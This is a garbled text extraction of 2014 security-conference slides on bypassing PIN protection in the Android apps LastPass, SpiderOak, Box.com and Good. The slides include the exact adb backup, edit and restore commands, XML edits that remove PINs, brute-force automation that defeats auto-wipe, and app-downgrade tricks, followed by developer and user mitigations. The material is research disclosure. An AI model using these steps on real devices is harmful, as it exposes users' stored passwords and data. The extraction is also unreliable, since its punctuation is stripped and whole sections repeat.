  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 77: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 78: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

